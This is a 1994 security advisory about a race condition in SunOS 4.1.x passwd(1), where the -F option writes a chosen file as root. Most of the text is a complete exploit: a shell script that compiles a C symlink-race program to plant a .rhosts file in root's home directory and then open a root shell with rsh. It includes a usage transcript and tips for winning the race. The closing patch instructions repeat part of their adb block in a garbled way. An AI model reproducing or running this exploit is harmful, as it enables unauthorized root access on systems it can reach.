COMMAND

    passwd(1)

SYSTEMS AFFECTED

    SunOS 4.1.x

PROBLEM

    passwd(1) allows any user to specify the password file to be  used
    (passwd(1)  updates  the  file  as  root.)   Using a program which
    changes  the  absolute  path  of  this  passwd  file  at carefully
    selected points during the execution of passwd(1), changes can  be
    written to a directory of our choice.

    This example demonstrates how to become root on affected  machines
    by creating  an .rhosts  file for  root.   Please do  not do  this
    unless you have permission.

    Create the following file, 'passwdscript':

    #!/bin/sh
    #
    # Syntax: passwdscript target-user
    #
    # This exploits a flaw in SunOS passwd(1), and attempts
    # to become the specified 'user', by creating a .rhosts
    # file and using rsh.
    #
    # Written 1994 by [8LGM]
    # Please do not use this script without permission.
    #
    PATH=/usr/ucb:/usr/bin:/bin      export PATH
    IFS=" "                          export IFS

    PROG="`basename $0`"

    # Check args
    if [ $# -ne 1 ]; then
	    echo "Syntax: $PROG user target-file rsh-user"
	    exit 1
    fi
    TARGET_USER="$1"

    # Check we're on SunOS
    if [ "x`uname -s`" != "xSunOS" ]; then
	    echo "Sorry, this only works on SunOS"
	    exit 1
    fi

    # Make the race program
    cat > passwdrace.c << 'EOF'
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <signal.h>
    #include <pwd.h>


    main(argc, argv)
    int argc;
    char *argv[];
    {
	    FILE    *passwd_in, *passwd_out;
	    int     race_child_pid = -1;
	    struct  stat st;
	    struct  passwd *pw;
	    char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
		    buf[1024], cmd[256], nowhere[256], nowhere2[256],
		    dir[256];

	    if (argc != 2) {
		    fprintf(stderr, "Usage: %s target-user\n",
			    argv[0]);
		    exit(1);
	    }

	    /*
	     * Get Target User info
	     */
	    if ((pw = getpwnam(argv[1])) == NULL) {
		    fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
			    argv[0], argv[1]);
		    exit(1);
	    }
	    strcpy(dir, pw->pw_dir);

	    /*
	     * Set up names for directories/links we will access
	     */
	    sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
	    sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
	    sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
	    sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
	    sprintf(ptmp, "%s/ptmp", dir);
	    symlink(pwd_dir, pwd_link);

	    /*
	     * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
	     * The bigger our 'passwd file', the longer passwd(1) takes
	     * to write it out, the greater chance we have of noticing
	     * it doing so and winning the race.
	     */
	    mkdir(pwd_dir, 0700);
	    sprintf(pwd_file, "%s/.rhosts", pwd_dir);
	    if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
		    fprintf(stderr, "Cant open %s!\n", pwd_file);
		    exit(1);
	    }
	    if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
		    fprintf(stderr, "Cant open /etc/passwd\n");
		    exit(1);
	    }
	    if ((pw = getpwuid(getuid())) == NULL) {
		    fprintf(stderr, "Who are you?\n");
		    exit(1);
	    }
	    fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
	    for (;;) {
		    fseek(passwd_in, 0L, SEEK_SET);
		    while(fgets(buf, sizeof(buf), passwd_in))
			    fputs(buf, passwd_out);
		    if (ftell(passwd_out) > 32768)
			    break;
	    }
	    fclose(passwd_in);
	    fflush(passwd_out);

	    /*
	     * Fork a new process.  In the parent, run passwd -F.
	     * In the child, run the race process(es).
	     */
	    if ((race_child_pid = fork()) < 0) {
		    perror("fork");
		    exit(1);
	    }
	    if (race_child_pid) {
		    /*
		     * Parent - run passwd -F
		     */
		   sprintf(pwd_file, "%s/.rhosts", pwd_link);
		    puts("Wait until told you see \"Enter your password now!\"");
		    sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
		    system(cmd);
		    kill(race_child_pid, 9);
		    exit(0);
	    } else {
		    /*
		     * Child
		     */
		    int fd = fileno(passwd_out);
		    time_t last_access;

		    /*
		     * Remember the current 'last accessed'
		     * time for our password file.  Once this
		     * changes it, we know passwd(1) is reading
		     * it, and we can switch the symlink.
		     */
		    if (fstat(fd, &st)) {
			    perror("fstat");
			    exit(1);
		    }
		    last_access = st.st_atime;

		    /*
		     * Give passwd(1) a chance to start up.
		     * and do its initialisations.  Hopefully
		     * by now, its asked the user for their
		     * password.
		     */
		    sleep(5);
		    write(0, "Enter your password now!\n",
			  sizeof("Enter your password now!\n"));

		    /*
		     * Link our directory to our target directory
		     */
		    unlink(pwd_link);
		    symlink(dir, pwd_link);

		    /*
		     * Create two links pointing to nowhere.
		     * We use rename(2) to switch these in later.
		     * (Using unlink(2)/symlink(2) is too slow).
		     */
		    symlink(pwd_dir, nowhere);
		    symlink(dir, nowhere2);

		    /*
		     * Wait until ptmp exists in our target
		     * dir, then switch the link.
		     */
		    while ((open(ptmp, O_RDONLY)==-1));
		    rename(nowhere, pwd_link);

		    /*
		     * Wait until passwd(1) has accessed our
		     * 'password file', then switch the link.
		     */
		    while (last_access == st.st_atime)
			    fstat(fd, &st);
		    rename(nowhere2, pwd_link);
	    }
    }
    EOF
    cc -O -o passwdrace passwdrace.c

    # Check we now have passwdrace
    if [ ! -x "passwdrace" ]; then
	    echo "$PROG: couldnt compile passwdrace.c - check it out"
	    exit 1
    fi

    # Start passwdrace
    ./passwdrace $TARGET_USER

    # Try to rsh
    rsh localhost -l $TARGET_USER sh -i
    exit 0

    --------------------------- cut here ----------------------------

    (Lines marked with > represent user input)

    >       % chmod 700 passwdscript
    >       % ./passwdscript root
	    Wait until told you see "Enter your password now!"
	    Changing password for nmw on somesun.
	    Old password:Enter your password now!
    >       mypassword
    >       New password: mypassword
    >       Retype new password: mypassword
	    #

    You must  wait for  the signal  "Enter your  password now!" before
    you  type  your  password,  or  you  will  not win the race.  Your
    password will not echo as you type it.

    A discussion in bug-traq alerted us to the fact that passwd  could
    be used  to read  any file  on the  system.   It was clear however
    that  the  behaviour  of  passwd(1)  as  stated would indeed allow
    arbitrary files to be created around the file system.

    The program creating the  symbolic links waits for  various events
    to occur, switching the link between the directory which  contains
    our data file, and our desired target directory.

    Occasionally you will loose the race; the symptom of this is  that
    a 'ptmp' file is created and left in your target directory.   Once
    this has occurred, future attempts  to use the script to  write to
    the  same  directory  will  fail.   With  a  little more work, the
    script above could  be made to  delete these ptmp  files when they
    occur,  and  put  the  rest  of  the  code  in a loop, effectively
    reducing the chances of loosing to zero.

    Programs running with extra privileges should not trust insecure
    paths.

SOLUTION

    1. Contact your vendor for a patch.

    2. Patch the passwd binary to remove the '-F' option.

    >       # cd /bin
    >       # mv passwd passwd.old; chmod 700 passwd.old
    >       # cp passwd.old passwd
    >       # adb -w - passwd
	    not core file = passwd
    >       /l 'F:'
	    0x68de

    The above address is required in the following step:

    >       0x68de/w 0
	    0x68de:         0x463a  =       0x0

    >       # chmod 4711 /bin/passwd
    >       # /bin/passwd -F /tmp/WinnersBlues
	    passwd: illegal option -- F
	    Usage: passwd [-l|-y] [-F file] [-afs] [-d user] [-e user]
		    [-n numdays user] [-x numdays user] [user]
	    #
    >       0x68de/w 0
	    0x68de:         0x463a  =       0x0

    >       # chmod 4711 /bin/passwd
    >       # /bin/passwd -F /tmp/WinnersBlues
	    passwd: illegal option -- F
	    Usage: passwd [-l|-y] [-F file] [-afs] [-d user] [-e user]
		    [-n numdays user] [-x numdays user] [user]
	    #

	    If passwd -F complains at this stage, you have successfully
	    disabled the option.

	    Repeat the adb stage, and patch yppasswd in the same way.
	    (replace 'passwd' by  'yppasswd')